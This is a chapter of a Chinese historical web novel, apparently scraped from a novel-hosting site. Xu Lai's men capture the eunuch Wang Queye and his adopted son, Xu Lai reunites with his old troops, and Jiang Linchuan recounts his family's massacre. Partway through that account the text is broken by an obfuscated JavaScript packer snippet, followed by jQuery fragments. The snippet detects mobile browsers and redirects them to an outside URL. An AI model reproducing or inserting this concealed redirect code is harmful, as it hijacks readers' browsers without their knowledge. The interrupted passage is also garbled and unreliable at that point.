42. 第四十二章

作品:《千山来

    不等众人反应过来,林中骤然蹿出无数道身影,如鬼魅般悄无声息闪到他们面前,汪阙也定过神来转身正想去帮忙,喉间被一把泛着寒光的冷硬剑刃抵上。


    他眯着眼看清来人,眉间褶皱赫然舒展开,随即畅快地大笑出声,隐隐有癫狂之意:“徐来?怎么,你这个逆贼想杀我?也不看看你如今的模样,一条苟延残喘的丧家之犬,真以为随便拉个草台班子就能威胁到圣上了?我呸,做梦!”


    他抽出腰间骨鞭猛地冲徐来甩了过去,徐来瞳孔放大,迅速弯腰躲了过去,随即立刻挥剑重重砍了下去。


    夏均让解决掉他面前的几人,回头发现徐来正要挥手劈向汪阙也,他连忙奔过去挡住徐来的剑:“义父!”


    汪阙也狼狈跌倒在地,坐上了一地泥土,夏均让双手握剑与徐来对峙,苦苦支撑着,他回头看了眼汪阙也,“义父,没事吧?”


    “没事。”汪阙也恍然应了一声,立马起身掏出骨鞭向徐来抽去,徐来右手发力将夏均让打退,左手直接拽住骨鞭叫汪阙也动弹不得,“汪阙也,你老了,再也不是当初那个御前红人了。”


    他左手猛然用力,竟然生生将手中骨鞭碾断,鲜血顺着指缝漏出,将惨白的骨鞭生生染红。


    徐来不欲与他们废话,与江临川对了个眼神,直接挥动长剑,一剑刺在汪阙也双腿上,叫他筋脉尽断,瘫倒在地上,溅出的血水迸在徐来白皙的面上,衬得他格外骇人。


    夏均让撑着剑起身欲帮忙,却被江临川一脚踹在地上,徐来淡淡扫了他一眼,见奚穆那边也将人解决得差不多了,道:“押走。”


    姜逢独自一人在山上等待大部队回来,周围没有人气,只有森森的树叶在飘落,在这黑夜更显得萧瑟,她定了定心神,强迫自己不去听嚎啕的风声和落叶的掉落声,她长长吸了口气让自己不再那么憋闷,怎么还不回来……


    她在山上看不见下头如何了,只能看向天边暗淡的月光等待,在一片又一片乌云无情飘过月亮时,徐来回来了。


    姜逢连忙快步迎上去,“怎么样了?”


    徐来脸上血迹未干,此刻看着倒像是他受了重伤一般,他正要说话,姜逢看清了他脸上的血,吓了好大一跳,紧张地将他翻来覆去上上下下检查了一遍:“你受伤了?还有没有哪里伤着?严不严重啊?”


    徐来愣愣地由着她在自己身上动作,也不制止,反而倒有些享受似的,姜逢没得到他的回答,抬头来看他,徐来立马捂紧胸口,做出一副痛苦的样子:“胸口,胸口好痛,好像也受了伤。”


    姜逢一听他这样说,哪里还顾得上什么男女大防,急得就要上手去脱他衣服。


    徐来这才伸手握住她的,闷闷笑道:“姜姜,你要是这么着急咱们关进屋子里我好好给你看看,不过现在这么多人呢,我会害羞的。”


    姜逢:“……”


    她立刻明白了徐来是在拿她消遣,气得她用力给了他一拳,虎着脸喝他,“滚蛋!”


    姜逢力道不小,这会儿因着气恼也没收着力,徐来实实在在挨了这一下,只觉得要被她给打出内伤来了,他苦着脸皱眉,“姜姜,很痛诶。”


    “痛死你活该。”姜逢毫不留情。


    江临川把汪、夏二人绑在树墩子上,从前玄甲军的旧部也一并带了回来,他们都惶惶站在原地不动,只悄悄拿眼看着徐来。


    徐来感受到身后炽热的目光,缓缓转身与他们对视,数月来的分离叫这群平日里流血不泪流的男人们红了眼眶,梁宇瘪着嘴,冲徐来扑过来,八尺大汉的身形这会儿小鸟依人地靠在徐来怀里,姜逢看得有些牙酸,摇了摇头索性走远了些。


    “王爷,原来你真的活着啊,我们还以为是哪个狗崽子打着您的旗号冒充您呢!”


    “好好好。”徐来拍着他的背轻声安慰,一抬眼看到面前一众兄弟眯着泪眼的模样,不禁有些头皮发麻,“你们……要不也抱一个?”


    一大堆男人“呜呜呜”地冲上来抱作一团,徐来险些被憋死。


    徐来:“……”这张破嘴!


    “行了行了。”他甩开身上的重重重压,颇为嫌弃地擦了擦沾上眼泪的衣襟,“你们怎么会跟汪、夏二人一同前来?”


    “都怪那个狗皇帝!”梁宇颇为气愤地往地上啐了口唾沫,“蘅川一战之后,他大肆搜索咱们剩下的兄弟们,有些杀了以儆效尤,咱们就被他拿全家老小威胁,为他卖命,这回本来狗皇帝是想让那个阉人带着他的亲兵来抓您的,我这一听说有您的消息,就说是兄弟们被您害成这样,怎么也得亲手抓回来才解气,这才让他们带上了咱们。”


    “王爷,您知不知道关副将他……已经……已经……”说到后面,梁宇已经说不下去了,巨大的哀痛笼罩着他们,徐来眼眶也不禁湿润,他拍了拍梁宇的肩,“我知道,我会记得他,百姓也会记得他的。”


    姜逢望了眼那头忽而低迷的气氛,对着眼前的江临川问道:“你带回来的这俩人是谁啊?”


    江临川正蹲在地上磨着把镶嵌了宝石的匕首,闻言头也不抬道:“仇人。”


    姜逢也跟着蹲在地上,八卦道,“跟我讲讲呗?”


    江临川嫌弃地扫了眼她,背过身去继续磨刀。


    “讲讲啦?口水又没什么成本的,我听过就忘了。”


    姜逢不依不饶在他耳边念叨,饶是江临川这么喜欢说话的人也被她缠得有些烦:“行行行,我讲,但是你保证,我讲的时候你一个字都不会说。”


    姜逢讨好般竖起三根手指冲他笑,另一只手做了个闭嘴的动作,江临川这才开口,“老的那个叫汪阙也,是圣上身边的红人,伺候圣上很多年,权力也越来越大,渐渐的,就连朝中的事他都能插得上话,不少官员还得看他脸色行事。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597306|169596||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “当年我们江家在朝中也算说得上话,我父亲是户部尚书,一生清廉刚正,只因在大殿之上弹劾了汪阙也宦官当道,就被他记恨上了,他伪造我父亲贪污受贿的证据交给圣上,圣上不分青红皂白甚至连查都不曾查过,就判我全家满门抄斩……”


    说至此处,一向吊儿郎当的江临川也罕见地有些哽咽,“我父亲为证清白吞碳自杀,我被母亲藏在地窖里躲了三天三夜才敢出来,你知道吗,我出来时江家已经死绝了,遍地都是尸体,就连空气中也弥漫着血腥味和尸体腐败的味道,几欲作呕,我那时三天没吃饭,只吐出了酸水,我不敢背着我爹娘的尸首出去,只能将他们埋在家中院子底下,然后跑了出来。”


    “我也曾想过要报仇的,可我不敢,我太懦弱了,皇权至高无上,皇城之中重兵把守,我连他的身都近不得,我也回不了京城,通缉令就张贴在城门口,所以我隐姓埋名企图忘掉从前的一切,可血海深仇,怎么能说忘就忘,我恨不得,啖其血肉,饮其骨血。”


    他的指节因过于用力而嘎吱作响,眸中的血丝可怖地爬满了整个眼球,他仿佛置身于巨大的仇恨与自我厌弃之中,身上弥漫着深深的颓废之感。


    姜逢一时也不知该说什么,张了张嘴还是没打扰他,过了会儿,江临川抹了把脸,又是一副什么都不放在心上的模样,他拿肩膀撞了撞姜逢,神神秘秘地冲她挤眉弄眼:“想不想知道那个小的是谁?”


    他指了指那头的夏均让。


    “是谁?”


    他眉尖一挑,凑到她耳边轻声道,“是那个阉人的义子,从小就被汪阙也养大,结果你猜怎么着?”


    “说。”姜逢凑近。


    “算了,我还是不说了,免得脏了你的耳朵,徐来还得说我带坏你。”


    姜逢:“……”就不该信你那张破嘴!


    “那这两人你打算怎么办?”


    “怎么办?”江临川磨了磨牙,透出一股阴鸷之气,“自然是杀了。”


    “不能杀。”徐来不知什么时候过来了,站在他们身后一直没出声,这会儿才道,“若是杀了,这么多年他们做的恶事就真的死无对证了,起码也要到了皇城之后再死。”


    “随便咯。”江临川耸肩,无谓地挑了挑眉,“反正他的命,得由我来亲手了结。”


    “对了。”姜逢忽而问道,“徐来,你是怎么回来的?为什么奚穆带人找了你那么多天都没找到,还有,你怎么知道我们会在山里。”


    江临川也投来目光,方才事出紧急,根本没时间好好问他,这会儿自然要知道个清楚。


    “也没什么,就是那天被河水冲走以后,我顺着河流漂出去很远,不知怎么地就被冲到了岸上,等我醒来时我发现已经离颍州很远了,本想着先去寻你们,免得你们担心。”


    “不过……”说到这儿,他略有停顿。